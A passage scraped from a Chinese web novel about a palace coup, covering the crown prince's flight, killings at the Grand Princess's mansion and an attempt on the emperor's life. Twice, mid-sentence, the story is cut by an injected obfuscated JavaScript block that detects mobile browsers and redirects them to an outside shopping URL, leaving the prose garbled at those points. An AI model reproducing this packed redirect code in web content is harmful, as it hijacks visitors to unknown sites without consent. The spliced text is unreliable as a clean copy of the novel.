太子本想再说什么的,这时,千言万语都堵在了心里。 沈磐本来要催,但见他们君臣两个相对无言、心里却千言万语道不尽泛滥之情,便只能按捺下自己的着急,一转身走向边上的张永一。 “你不该呆在这里,你祖母还在家……” 张永一却问:“公主没有别的话要和臣说吗?” 沈磐倏尔抬头。 他眼里又是哀求了。 沈磐垂眸。 “公主没有,臣有。” 沈磐转身欲走,张永一想最后光明正大地牵一次她的手,却看见太子走了回来。 他还是放弃了,望着沈磐被太子按到怀里。 他无声说,你一定要平安。 太子比她高,扑到哥哥怀里时,她的眼泪也开始在眼眶里打旋,所幸她仰着头,这样的离别之泪沾不到太子的肩头。 “哥,要平安。” “会平安的。磐磐,你们要好好的。” 朝臣只知道太子要走,这么多卫兵护送他左右,直往燕王所在的宁远而去。 连护送他的张永一也应该是这么想的。 但沈磐猜得到他的心思。 他无私愚笨得简直不像是个太子。 哪有太子是大张旗鼓地奔逃的? 他们就是要把齐天觉的兵力引走的,怎么能平安呢? 但话到嘴边,说出来,好像就真能平安。 好像她也能痴傻一次,去相信她的哥哥就是能够逃出生天。 逃吧。 逃也好。 能出这困兽之城。 逃也好。 逃吧。 “哥,我们再见。” 沈磐不敢目送他们离开,只背对着身后长缨卫逐渐消失的蹄声,只看着更加苍老迟钝的冉琢明跪在梅花树下挖着雪。 已看得见归途为何还要前进? 风雪飒飒落,落肩如梅花。 冉琢明的手已经被冻得通红,直到连沈磐也走了,他才枯坐到雪中。 呼吸出来的热气沾在脸上,火辣辣地疼。 他抬起僵硬麻木的手要擦,手指间就突然滑满眼泪。 44. 第四十四章 齐天觉果然带兵退出了化隆城,追着太子和张永一一行人往北而去。 皇城的兵力所剩无几,但只要皇帝一日不出现,这里就还在东宫的掌握下。 太子妃薛元映的命令无人反对,最后的羽林卫按照她的命令准备了两匹马,一匹给沈磐,前往襄阳侯府,一匹给她,去离皇城更远的辅国长公主府。 薛元映率先出宫,带上了几乎剩下的所有精锐。 留给沈磐的只有两个羽林卫,其中一个她还认识,是张永一的堂兄张绰。 沈磐立时明白过来。 这也是一出调虎离山。 张绰见她不似要往襄阳侯府去,即刻跃马向前把她拦了下来。 “张千户,你不要拦我。” 张绰的态度远比从前的“张千户”张永一来得强硬,他坚决摇头:“公主必须去襄阳侯府,这是太子妃的命令。” “张诚识,本宫会去襄阳侯府,但有件事要托付给你。” “臣护送完公主,就会前往辅国长公主府。” 沈磐指着另一名羽林卫,“那让他帮本宫办事。” 张绰微一犹豫,就听沈磐冷厉地直接下达命令:“你即刻前往忠义侯府,让嵇阑带着人去辅国长公主府救驾,快去!” 那羽林卫看向张绰,张绰稍稍点头,他便箭似地飞蹿出去。 张绰朝沈磐道:“公主请。” “张千户,若你真忠于东宫,那就即刻回家,带上你张家所有的家丁去襄阳侯府,侯府免不了一场恶战,本宫这就前往侯府,张千户不要失信。” 说完,沈磐根本不等张绰答应,就一夹马腹就冲上前往襄阳侯府的路。 过了一条街,沈磐回头看,张绰果然没有跟来。 她勒转马头,即奔辅国长公主府而去。 ** 在辅国长公主府,沈磐生平第一次见到薛元映这么生气。 但薛元映再生气,也不敢将她拒之门外,只能阴愁着脸将沈磐带到正院。 这是沈磐第一次进辅国长公主府,甫一进正院,她就看见了正房门口闻声而出的郇渰。 沈磐一把抓住薛元映的手:“侯府里没人了?!” 薛元映道:“长缨卫都在。” 沈磐倒吸一口凉气,尤其是在她步入正房后,看见床尾木箱上坐着郇渊的那刻,她感觉一把火顺着呼吸蹿入,烧得她五内俱焚。 而沈碧坐在桌前,桌上是一把剑。 “你居然把郇渊也带来了!” 郇渊本想扑到沈磐怀里,突然听见自己极其喜欢的小姨母这样凶神恶煞地责怪母亲,顿时畏缩到薛元映身后。 沈碧神色依然淡淡,看不出任何大难临头的慌乱,“作戏要做全套。” 沈磐自知吓到了郇渊,但顾不得哄孩子,她揪着沈碧的手压低声音斥责:“他是你亲生的儿子!” 沈碧抬眸。 她不说话,沈磐却猜到了她会、她想说什么。 那又如何。 郇渊是她的亲儿子又如何。 沈磐这才知道,她这个姐姐不是冷淡,而是冷血。 她嗤笑一声,却被郇渊抱住了腰,“姨母,是我要来的,不要怪母亲!” 沈磐抖着手摸摸他的脑袋,勉强地软下声音笑道:“郇渊真勇敢,是大孩子了——” “不,郇渊不是孩子,是男子汉,能保护母亲还有姨母的男子汉!” 沈磐一愣,抬头看向沈碧。 她必须要承认,她在沈碧永远寡淡无波的眼里看见了幻影般一闪而过的惊诧和欣赏。 “姨母,你坐。” 沈磐又揉揉郇渊的脑袋,却没有任由小男孩拉她坐到沈碧身边,而是退到了窗下的妆台旁。 妆台上一尘不染,不,这一应的摆设不像是空关了三十年,周遭的一切布置都好像这房子的女主人早上才晨起在这里化完妆,现在主人不在,她们是误入的盗贼。 注意到沈磐的视线,郇渰解释道:“这是辅国长公主的寝室,所有的东西都是她在世时的模样,我姑姑回京的日子就住在这座府邸。” 沈磐震撼的目光掠过妆台上的每一物,就见一只木匣的锁扣是开的,像是有人匆忙合上忘记上锁。 她不该乱动故人的旧物,但“辅国长公主”这五个字就像是萦心的魔物,魇着她的心、让她不受控制地翻开那木匣的盖子。 薛元映等都看了过来。 里面是一沓没有落款、也没有呈递的信。 信纸都放得发黄。 沈磐一扫满纸的思念,目光落到了最后的“升平二十九年冬”。 三十年前,有人这么写: 鹇儿,汝可上触得青天,下垂见黄泉,纤云过两翼,万木尽下沿。宫中闲鸟金雀尽眼帘,姝死昳立,往复交替,悦人耳目,终不若初。何故自苦真假先后?又何恐宠颓爱弛?汝固为汝而自是本初,欲与南冥大鹏比翼展,自有青天扶摇助尔九千里不输。欲知江湖瓠落如何故,力士开山、石栈天筑、渊堑通途,乃是三山不过池中物、蛟龙左右跳波舞。鹇儿,寰宇待寻,天下尽彀乎。 这人还在一个不眠夜写: 误见旧物,鹇儿勿怒。得见《辋川别业图》,即得辋川在姑苏,与君同往,不负寰当年所笃。升平二十九年冬,日出见吾爱,厮守终白头。 沈磐长舒出一口气问:“他是郇海山?” 郇渰道:“正是我的伯父,辅国长公主的驸马。” 沈磐物归原处,“他最后怎么了?” “他……” 沈碧开口:“他死在了启明门,入宫面见长公主的那个早上。” 沈磐眼前即刻闪过刚才那句“日出见吾爱”。 辗转反侧一整夜,他该多么期待第二天在宫阙之中见他心心念念的爱人,何况他都想好了,要“与君同往”,要远离京城的纷乱,要实现当年的誓言,要“厮守终白头”。 但郇寰死在见到沈明枳之前。 沈磐又吐出一口气,还是坐到了沈碧身边。但她才坐下去,就听屋外有羽林卫来报说,她们久等的不速之客终于来了。 是霍轶,带着他的虎贲卫,气势汹汹地出现在府门前。 薛元映霍然站起,“磐磐,你跟着你姐姐看好郇渊,不要出去。” 郇渰回头再看一眼儿子,乞求在看向沈碧的那刻,沈碧也会看向他。 但没有。 她像是没有心的泥塑观音,不不不,她的处事风格是怒目金刚,哪怕都要摔碎在荒冢破庙里、推倒了所有烟火祭台,神灵也该着急的,但她却是这样的不落尘俗、不在轮回六界之中的冷淡从容,却是无论如何都不会回应他这些幼稚的渴求。 他从未走进她的心里,现在又要彻底离开。 郇渰的希望落空,不知带着怎样的遗憾跟着薛元映走出正房。 郇渊看见父亲离开,小心脏噗噗直跳个不停。 沈磐和他一样坐不住,刚走到门边就折了回来,再也不顾及一个妹妹在姐姐面前应当表现出怎样的恭敬,她质问:“我想问,为何是这里?为何不能在东宫?霍轶也更容易被引到东宫,而东宫的守备比这里要好得多,胜算也更大!” “君以此兴,必以此亡。” “别和我打谜语了!这究竟是为什么!” 沈碧回头,看向在床尾坐立不安的郇渊。 郇渊眼中升起难以言说的恐惧和激动,恐惧于父亲的离开,激动于母亲的在意。 沈磐不忍看稚嫩的郇渊为了安抚自己的焦灼而硬要装出成人的泰然,更不忍在郇渊的眼睛里看见那时沈仪明般的坚强。 太残忍了。 或许这才是沈碧和她打哑谜的原因。 这孩子早慧,不该让他的心里也装上这么多事。 但沈碧开口了,一开口就是酸腐得发烂的往事:“你记得霍夫人吗?” “提她作甚?霍家起势不仅仅是因为霍夫人,霍辄在西北立了那样的军功,就算没有霍夫人,他们家的兴盛也是迟早。” 沈碧垂下眼,“好,不提她。那你只需要知道,这座公主府,陛下不会允许任何人擅入,你不行,我不行,霍家人更不行,霍轶敢带兵冲入这里,毁坏这里的一草一木,无论今日结果如何,此后他都活不成。” “为什么?” 正房里已经听得见外院的兵戈声。 沈磐再没有问下去的心思,沈碧也没有回答的打算。 外面已经见了血。 突然,沈碧起身推搡起沈磐,“你从窗户走,沿着石子路一直走,穿过一道垂花拱门就是以前的郇宅,你带着郇渊从那个门走,马匹都备好了,从启复门出化隆……平川庄还记得吧?以前你三哥带你去过,现在就去那儿,人手已经安排好了,他们会带你去苏州。” 沈磐气极:“为什么不早点带着郇渊去!” “只有打起来了,郇宅的大门才不会有虎贲卫,他们才来不及追你。” “你必须一起走!” 沈碧摇头,“你也别想着绕回侯府,璩儿、玥儿他们两个很安全,由元亨和郇渊祖母带着藏在密室里,你别回去害了他们……” “沈碧!” “我走不了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064443|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “如何走不了?”沈磐拽着她往后窗走,“你必须一起走,郇渊这么小还离不开你……” 沈碧挣不开沈磐的手,便叫来儿子:“郇渊,刚刚的话你都记下了吧?” 郇渊很害怕,却还要镇定地点头。 “那好,带着你不听话的姨母,就按我说的去做。” “母亲……” “郇渊!” 在母亲的积威前,郇渊的眼泪啪嗒啪嗒止不住掉下来,却止住了哭求。 “别再磨蹭……” “磐磐!”薛元映冲开门,浑身是血的对屋内喊道:“快走!” “走不了!” 薛元映转身,霍轶已经逼至庭下。 沈磐撒手,猛地往后窗一推沈碧母子,抢过桌上的剑就站到了薛元映身边。 薛元映恨道:“霍轶,你胆子居然如此之大,连辅国长公主府都敢闯!” “我现在有什么不敢的?”霍轶看向沈磐,更想越过沈磐看向屋里更深处有无沈仪璩兄妹的踪影。 薛元映一步向前,“是啊,你连构陷东宫、谋害陛下、假传圣旨都敢!” 说罢,就听“咻”的一声,一支箭从屋顶上飞了出来,卷起盘桓空中的风与雪,对准了霍轶的咽喉撕咬而去。 但霍轶正准备抬手,似要叫人提上来什么东西,就这么一个巧合,那箭就扎进了霍轶的肘弯。 机不可失,失不再来。 迅雷不及掩耳,虎贲卫的箭矢就将预先埋伏在房顶的这个长缨卫射手一击毙命。 霍轶的面容因为疼痛和仇恨而扭曲起来,他的嘴角更拧出了一个嘲讽和得逞的阴笑,“带上来!” 闷声滚落的不仅是一具尸体,还有沈磐的心。 是郇渰。 薛元映的指甲扎入掌心。 刚才混战,一个不留神郇渰就被冲散,他身上已经挂了彩,被虎贲卫押解着,冠发散乱。 “交出皇孙,饶他不死。” 郇渰冷笑:“你敢随意杀我?” 霍轶笑道:“我连你弟弟都杀了。” 笑着,他挑衅地比了个拉弓的手势。 也是那么“咻”的一声,马与人一起摔进了雪里。 郇渰一僵。 郇昇死了? 雪那么大,齐天觉带兵攻城略地也未曾发现延兴门外的他。在家里他甚至曾设想,郇昇去了启复门,启复门那一片都是山野别墅,哪怕是枯林白雪也十分利于躲躲藏藏。母亲最近身体不好,日日夜夜是靠着这样的假想才在父亲受困五柞宫生死未卜的情况下支撑过来。 不曾想,郇昇还是死了。 郇渰的表情还是茫然的。 他还无法接受弟弟的死。 毕竟是那样鲜活的一条生命,临走前才笑得畅快。 可这种丧亲的痛苦很快就落到了实处,像是霍轶拿着剑鞘,一下下地挫着他的筋骨。 他看见了沈碧,也是表情空白。 听见脚步,沈磐回头就看见窗板是才合上的,郇渊已经不在正房内,可沈碧还没走! 她还走出了房门,径直看向被挟持得狼狈不堪的郇渰。 “哦?晋国公主也在,正好!” 霍轶从虎贲卫那里拔出一把匕首,对着房门前站着的沈碧道:“我不敢随便杀?那就让你们都看看,我究竟敢不敢——” 话没说完,沈碧骤然睁大眼睛。 那划开雪片的匕首已经插在了郇渰的心口。 郇渰的表情还看不出痛苦。 但随即郇渰喉口溢出一声痛哼,沈磐浑身一震,见得沈碧懵在那里,连忙转头看去。 霍轶用力压着匕首在郇渰的伤口里拧转,但他觉得奇怪,总感觉匕首刺中了什么别的东西。他避开身,用力抽取被卡住的匕首,就见一点光亮清脆地摔在地上,鲜血中,那碎玉的颜色更加温润洁白,比月色还要洁白。 现在,洁白变成了苍白。 沈碧在看清地上的东西后,面色就变成了这样的苍白。 那是他们吵架时摔碎的簪子。 丢了她就没管,此刻又出现在郇渰的心口。 郇渰居然扯出了一丝单薄得能被风吹散的笑容。 霍轶厌嫌地一脚踹翻了郇渰。 他仰面躺在了地上,十指捂着血流不止的心口,望着越来越暗的天。 他想再看沈碧一眼。 就一眼。 这辈子就够了。 下辈子就不用见了。 不然他心心念念,做了鬼也不能安息。 沈碧,再看我一眼。 45. 第四十五章 沈磐第一次听见了沈碧的呼吸,轻时是肩头雪,重时是头顶夜,忽长忽短,怎么办都捋不清晰。 周围的长缨卫拢了过来,沈碧看痴望着人墙外,躺在地上逐渐闭上眼的郇渰。 他身下就是染血的碎玉。 沈磐架住突然就站不住的沈碧,拖着姐姐往正屋里退。 虎贲卫的刀剑又顶上了长缨卫,羽林的甲胄挡不住连番的箭雨,薛元映惊险地关上门,冲到屋后打开窗板,“快走!” 沈碧再无反抗之力,被沈磐和薛元映抬着往窗外送。 就在这时,一支箭穿透了门板。 身边的薛元映动作一顿,低头就见那冷森森泛着光的箭头贯穿了自己的胸膛。 沈磐呼吸一窒,却被薛元映用最后的力气推着和沈碧一起翻下了窗台。 窗板弹上的瞬间,又有几箭插中了薛元映的后背。 啪嗒。 血顺着缝隙滴到沈磐的脸上。 还是热的。 沈磐霎时间清醒,不知哪里来的力气扛起沈碧就沿着石子路狂奔起来。 郇宅的正门洞开,只剩下一匹马在门边不安地喷着鼻息。 她刚解开缰绳,一支箭就钉上了廊柱。 沈碧终于有力气站起,刚要去牵缰,这匹马就突然扬起前蹄,长嘶一声,转过方向就朝身后的虎贲卫追兵冲了过去。 沈磐知道骑马无望,拽着沈碧跃出正门,沿着郇宅前的长街朝火光大亮、脚步整齐的一处巷口跑去。 “公主!公主!” “嵇阑!” 嵇阑飞身下马一把接住了沈磐和她死死拽住的沈碧,一低头就看见沈磐脸上血与泪混合着往下淌,乍一看像是裂开一道口子。 “公主……” 沈磐还很清醒,抬头朝嵇阑道:“霍轶杀了郇渰,还杀了太子妃!” 嵇阑已经看见追出郇宅正门的虎贲卫。 沈磐眼里满是杀意:“霍轶中了箭,现在就是杀了他的好时候!” 嵇阑本犹豫着虎贲卫精锐势不可挡,就见从正门冲出来的人数不多,顿时拿到了这场死战的把握。 他抬手,暗处蒙面的杀手就搭上了淬毒的弩箭。 ** 乔晏带着他的阴阳卫,是一路杀上的桂宫。 卿澄本以为有他在,要见到陛下不用这么多鲜血,可现实给了他一耳光,乔晏这个从未去过西北、从未上过战场的武将第一次一个人杀了十几个拦路的锦麟卫,但桂宫前的布防依然牢如铁桶。 毕竟这里有两千锦麟卫,就算派出了一部分去各地调兵,剩下的这些再加上五柞宫的守备,阴阳卫就算是全耗尽了,桂宫前还立着曾所向披靡的大将军霍辄。 乔晏朝台阶上的魏俊秋吼道:“魏俊秋!你为何要构陷东宫!” 魏俊秋侧身朝背后的桂宫拱手,“不过是各为其主、各司其职。” “你与霍氏勾结杀了英国公,你的主究竟是谁!” 乔晏的喉咙都快喊破了,高台上的桂宫前终于有了响动。 卿澄连忙高喊:“陛下!微臣卿澄要面见陛下!陛下!太子没有杀辛喾!太子是清白的!” 他提着衣摆往上冲,魏俊秋敢和乔晏动真格,却不敢、抑或是不愿在陛下面前朝卿澄挥刀。 乔晏抓住机会,提着卿澄就冲上了台阶。 卿澄一路高呼:“陛下!太子是清白的!是清清白白忠心不二的!” 然后他就在高台上,看见了灯火辉煌之中正襟危坐的永济帝沈明戒。 郇翾坐在一边,陈王站在他身侧,霍辄站在他身前,再看一眼,那太医施汜居然也站在霍辄身边。 卿澄扑通一声跪在门槛之外,“臣卿澄求见陛下!” 乔晏碰上永济帝的视线,终于被几十年帝王的威严逼得深垂下头以示恭敬。 但他还攥着剑,以备魏俊秋的偷袭。 永济帝吐出一口浊气,“进来。” 卿澄却不起来,而是膝行爬过高高的门槛,再一路膝行向前,重重磕在冰冷的地板上。 “你说……太子是清白的?” “陛下明鉴!臣亲眼见张永一背着自宽的尸首登上文正殿,自宽中了毒箭,那箭……明显是从后面射过来的!张永一所说也与情况相符,就是锦麟卫副使林金下令杀死了自宽!” “呵,魏俊秋!” 魏俊秋提刀进殿,林金也跟了进来。 永济帝捶打着龙椅:“这是怎么回事?你告诉朕这是怎么回事!” 魏俊秋垂眼,沉默了片刻,再抬眼时,众人就见他俨然成了一头嗜血的狼。 “霍大将军,你来告诉陛下吧。” 被魏俊秋点到的霍辄转身走了过去,“魏指挥使要我说什么?” 永济帝的视线针尖般钉到霍辄那只健在的眼睛上。 魏俊秋已经全然不顾什么君臣伦理,径直抬脚,继续往前走,“就说,你们霍家是如何把我逼上船的。” 乔晏下意识地冲了上去,挡在了永济帝身前。 霍辄摇头:“我不知道你在说什么。” 魏俊秋耻笑:“霍大将军就不要装了,认下,就不用我再把你们那些龌龊的手段搬到台面上。” 永济帝看向霍辄的目光永远是欣赏的,现在,这种欣赏也成了怨毒。 “霍辄,究竟是怎么回事!” 见霍辄还不肯认,魏俊秋终于不再等,他拔出自己的绣春刀,对着乔晏道:“乔指挥使,请你让开,这些恩怨与你无关。” 乔晏举剑。 见状,魏俊秋不再劝,只是看向身边已经面有菜色的陈王,“既然这样,陈王殿下,那就由我来告诉你,你的这些舅舅们为了你,究竟干了多少好事。” 可他的刀转向了陈王。 乔晏眼皮一跳,听魏俊秋道:“为了把施太医送到天子身旁,他们谋杀了孙太医。” 永济帝瞪大了眼睛。 “而那天前前后后护送孙太医去城外的,就是我锦麟卫。不巧,孙太医临死前和与他同住的一个老头说了话,那个老头还逃了,逃到了东宫,又逃去了东北!” “巽山道人!”永济帝怒不可遏,抓住案上的金杯就朝瑟缩在旁的施汜砸去。 “然后我就上了贼船,然后就有了元良郡王案。” 卿澄仰头看着霍辄居然露出了不可置信的表情。 魏俊秋神色有些伤感:“元良郡王家的小公子仪明听见了我们在畅春园的谈话,我本来可以不用杀他的,本来可以不用灭郡王府的,但霍轶就是要这么干。呵,原来就是为了现在探路,探一探陛下的心路。” 魏俊秋的伤感刹那变成了讽刺,“本来那两个孩子也不用死的,毕竟陛下答应了元良郡王,只要他认罪就不去牵连他的家人,可最后食了言,还用白绫勒死了他们。” 卿澄被这样的真相轰在原地。 永济帝气急败坏地抓住桌上的银盘就朝魏俊秋砸去,但他力道不够,软绵绵的,还将盘子砸到了乔晏身上。 乔晏一动不动,警戒着魏俊秋的所有动向。 魏俊秋被这滑稽的一幕逗笑了,“乔晏,这样的帝王你还要生死以待吗?” “魏俊秋,你究竟要干什么?” “这样的背信弃义,还不够让你为我让步的吗?” “魏俊秋!” “我知道了,你是他的忠仆!是各司其职、各为其主!林金!” 站在中央的林金大声应和:“末将在!” “是你杀了英国公吗?” “是!” “你为什么要杀英国公?” “各司其职、各为其主!” “你的主是谁?” “大楚的天子。” 魏俊秋笑了,“林金,告诉乔指挥使,陛下究竟下了几道圣旨给霍轶?” “一道主查巫蛊案,一道入宫搜查无阻拦,一道见机行事任调皇城兵马司,还有一道便宜行事可斩太子。” 乔晏执剑的手一抖,陈王的腿一软,地上的卿澄目瞪口呆,一边的霍辄更是怔愣原地。 只有坐在那里的郇翾闭上了眼。 “混蛋!” “是谁混蛋?”魏俊秋冷冷反问,“陛下要杀太子,所以借霍家的刀,陛下要扶陈王,所以最后霍轶这把刀也会被舍弃。而我们这些人呢,也不会有好下场,陛下让我接替乔指挥使向燕王行杖刑,不就是对我们的警告吗?让我们不要想着背叛,让我们永远只做你的刀……” “锦麟卫就是皇帝的刀,我也甘心为社稷驱驰,但这把刀不是这么用的!不是用来杀恩人和无辜之人的!” “你混蛋!你居然背叛朕!背叛阿姐!” 魏俊秋的眼神肃杀,“陛下,我从来没有想要背叛长公主!究竟是谁背叛了她!杀元良就是杀太子,杀太子就是杀辛喾,杀这些人也就是背叛长公主!我是混蛋啊……” 魏俊秋嗤笑,“那陛下要不要听听我这个混蛋,讲讲您这些天究竟做了什么混蛋不如的事!” 永济帝已经失去理智咆哮起来:“你这个忘恩负义的贱奴!你枉顾我阿姐的辛苦!” “发病了?”魏俊秋笑了起来,他又看向了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068233|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔晏,“你想知道我为什么那么害怕孙太医的死吗?” 这句话像是关上闸门的机关“咯吱”一响,永济帝顿时不再吼什么“背叛不背叛”,只举起桌上的杯盏朝魏俊秋砸去:“你住口!” 乔晏终于被砸痛,铁板似的躯体一震,又听魏俊秋笑道:“因为秘密知道得太多就该死。” “你住口!你住口!你住口你住口你住口!” 陈王连忙抱住要冲下去与魏俊秋火拼的永济帝。 “在场的诸位知道了这么多秘密,要想不死,只能让这样的秘密不再是秘密——” 他眼光一闪,“能怎么办呢?那就杀了秘密的主人!” 话落,魏俊秋闪身擦过乔晏,挥着绣春刀朝龙椅上的永济帝砍去。 见陈王不开窍,他大喊道:“你给我让开,他死了你就是皇帝!” 永济帝推开陈王一滚,险险避开这一刀,这边乔晏即刻反应过来刚上了魏俊秋的刀。 卿澄大喊:“快来人救驾!救驾!” 但殿外一片死寂,他这才反应过来,锦麟卫两千人,整座桂宫,不,是整座五柞宫都在魏俊秋的掌握下!此刻,哪怕是杀了陛下、杀了陈王、杀了这大殿上的所有人,都不再是一场虚假的梦魇! 卿澄爬起来,见霍辄抄起黄铜立灯朝魏俊秋后颈砍去,而魏俊秋就像是背后也长了双眼睛,他又分明比在场所有人都要年老体衰,但居然还能来去自如地躲过霍辄和乔晏的所有夹击。 林金拔出了绣春刀,趁此机会蹬着台阶走到永济帝身边,他边走边砍,永济帝边躲边骂,他边追边道:“我爹姓林,我娘姓金,前任指挥使凌云重对我们一家恩重如山,他从小就教我要知恩图报不能当忘恩负义的人,可惜——” 他挥剑猛地朝永济帝砍去,忽然被人抱住了腰往后撤,但他底盘很稳,往后一踹就把郇翾踹下了台阶。 “可惜,我再也做不成好人了。” 这也是魏俊秋的叹息。 林金挥刀,重重劈了下来。 陈王大叫:“父皇!” 永济帝也以为自己死到临头,可身上一重,睁开眼睛就看见了卿澄的脸。 卿澄的脸。 他怨恨啊,他眼里全是怨恨啊!怨恨自己弄出了这么多波折、杀了这么多人!可他还是挡在自己身前,倒在了林金的刀下。 霍辄见状,从魏俊秋的纠缠里撤退,举着已经有些变形的灯台朝林金的后脑上重重一击。 林金倒下,魏俊秋还是因为体力不支,拉着陈王远离了乔晏。 看着霍辄还拿着杀了人、沾了血的灯台,魏俊秋忽然又笑了出来:“原来如此!原来真是我错怪了霍大将军,陛下可真看重你,难怪把你和陈王带在身边,而让霍轶那个傻得没边的狂浪货冲锋陷阵!来人!” “来人!” 魏俊秋气沉丹田又喊了一声,殿外台阶下即刻传来锦麟卫整齐划一的脚步声。 霍辄连连后退,迅速关上大敞的殿门。 魏俊秋揪住陈王的领口,最后一次郑重又粗略地打量过他的面容,“既然如此,霍辄,我就告诉你,你妹妹霍轻霍夫人究竟是怎么死的!” 霍辄抵着门,朝乔晏喊道:“拦住他!别让他伤害陛下!” 乔晏支起身,用尽全身的力气和平生的武艺,赶在魏俊秋一掌拍开陈王、跑向龙椅上瘫软的永济帝前,冲了过去。 他甚至没有去接陈王,任由陈王重重摔在了地上。 魏俊秋还是老了。 长剑贯喉的那瞬,他突然得到了汲汲一生也求不到的解脱。 乔晏本该把自己的剑拔出来的,可他看尽了魏俊秋的眼底,任由他裹挟着自己的剑一同倒地。 轰然倒地。 殿门被锦麟卫砸开,霍辄闪身躲避,大声道:“魏俊秋已死!退下桂宫者得恕!” 局势已经明了。 霍辄还是守在门边等所有锦麟卫都退至高台之下,这才走过去扶起陈王。 乔晏却没有伸手扶永济帝,只是一步步退着,退到三级台阶下,在摔倒在地的郇翾边上,朝缓缓爬起的永济帝跪下。 永济帝低头看着怀里卿澄的尸首。 他们少年时代就缔结了友谊,哪怕他和卿澄这些人的相交目的不纯,但他们还是一起走过了几十年风雨。 他沉默许久。 “传旨,让齐天觉退兵。” 乔晏松一口气,刚抬头就看见扶着额头爬起来的太医施汜,不知从哪里抽出一根绳子,不,那是他的腰带,他攥着自己的腰带一个猛冲朝永济帝的头颅套去! 46. 第四十六章 他们已经向北逃了整整五天,随追而来的骑射兵几乎全部折损,剩下这五骑跟着他们躲入偏鄙村野,其中两人外出觅食去而无返,张永一相信他们的忠心,但只能接受即将到来的命运。 这是一处凶宅,故而墙高垒深而荒芜一人。 他们是半夜闯入的,然后就在后院的枯井里发现了腐烂的尸首。 但去无可去,再往北就要过关斩将,若往南就是齐天觉的精锐追兵,他们只能在此整顿,一整此生。 剩下三个骁骑卫被太子赶走,然后破屋残桓里就只剩下了张永一。 他是说什么都不会走的。 这处凶宅里闹出了这么多动静,街坊邻里早该知道了,当地官府会知道,齐天觉自然也会知道。但齐天觉赶来需要时间,当地官府不敢擅动,却还是把凶宅围成了铁桶。 现在,就算张永一肯走也走不成。 太子沈碣看着他砍破木生火,喉头酸涩。 沈碣笑道:“我听说,如果没有这些事情,你早该和郭家姑娘成亲了?” 张永一眉头一跳。 果然是人传人的谣言,居然传成了这样。 他摇头,“不是,没到这步。” 沈碣道:“真到了这步,你还回东北吗?” 说起东北,张永一停下手中的活,仰头似要慢慢回忆自己在“东北”的岁月。那绝对是刻骨铭心永不能忘的记忆,可才回京过了短短的一年,他便觉得和宁远将士们在城堞上喝酒唱歌的画面已经是上辈子的回忆。 不,他不会唱歌,但沈斫会,会对着城头白茫茫沙海似的雪哼着渺远的情歌。其实那算不得情歌,那些词都是文人的杰作,断然没有一点酸涩的小情小爱,但唱歌的人是有情的,更能把枯燥乏味的听他唱歌的人也唱出情来。 他就是那时候认识东宫一家的,素未谋面时就认识了眼前的太子。 他也认识了沈磐,那个无论如何都会挡在沈斫身前让人无比安心的沈磐。 那时候他很想回京见识见识这些人,因为平静时的宁远太无聊,动乱时的宁远太血腥,他每天都躺在枕头下的刀刃之上,没有一天好眠。 但过了这一年,那样松弛乏味、淳朴善良的日子顿时成了此生难求。 “不会到这一步。” “那你想回东北吗?” 想。 特别想。 想去为陆将军扫清坟头的雪,想去山野打一只貂,想在篝火前听将士们的家常,想在一个人的夜里回忆化隆家乡。 但张永一回答说:“不回了。” 沈碣盯着他,那种欣赏也变成了可惜,“不回了?也好。” 张永一看过来。 沈碣笑着解释:“冉先生很欣赏你的敏锐和胆识,陆将军将革军大业托付给你,你若想好了,就留在化隆好好办,右手执笔,左手拔剑,披了战甲又系了青衫,这又何妨呢?政从内阁出,边关的守将是无法左右阁中文臣的。” 其实还有后半句他没说,那就是阁中文臣其实也左右不了殿上君主。 但沈碣觉得,他不说,张永一也该明白。 这会扑灭他的热忱吗? 沈碣相信不会。 那样幸福美满家庭里走出来的孩子,又在凶险人世长大成人,这前路再暗,他自己也会发光。 他永远都是不知疲倦的,做自己的光,做别人的光。 “斫儿曾也回信和我说起过你,他觉得你做什么都能行,特别厉害……” 突然受了这样的褒奖,张永一惭愧地低下头。 “不必这么谦虚,我也觉得你做什么都很行。‘谁云江水广,一苇可以航。不战屈敌虏,戢兵称贤良’。就是当初磐磐找我说,要把你调来长缨卫,给你升佥事,我还是觉得很对不住你,你救了他们,却要断青云。” “殿下……” 沈碣苦笑:“你该有这种体会的,卫所里的四品和六部里面的四品还是很不一样的,平日里觉得十二卫的指挥风光无限,但实际上他们是家臣,是皇家的家臣,而不是朝廷的外臣。历来没有哪个阁臣是十二卫出身,阁老郭明修是例外,可如他那般的能人有几个,有他那般机遇决心的有几个?” “不论是家臣还是外臣,只要是为了大楚好……” “张永一。” 张永一凝神,下意识觉得沈碣有什么重要的大事要说。 可沈碣只是久久端详他,久到柴火里连炸了好几个火花、张永一连忙去拨火焰,沈碣这才移开视线。 “张永一,你喜欢沈磐吗?” 没有一丝迟疑,张永一重重点头。 “你为什么喜欢她呢?” 一时半会儿张永一给不出答案,但沈碣却道:“不知道也好。当你知道为什么爱、为什么喜欢,这种爱、这种喜欢就消失了。” 张永一微怔,说不出这是真,还只是他的安慰。 沈碣终于笑得宽慰,“我的磐磐,是特别特别好的人,所以你说不出具体喜欢她什么,这非常正常。” “是。” “就该有很多人喜欢她,她就该是满园最漂亮的鲜花,不,她就该是神女天仙,她就该顺遂一生、呼风唤雨……” 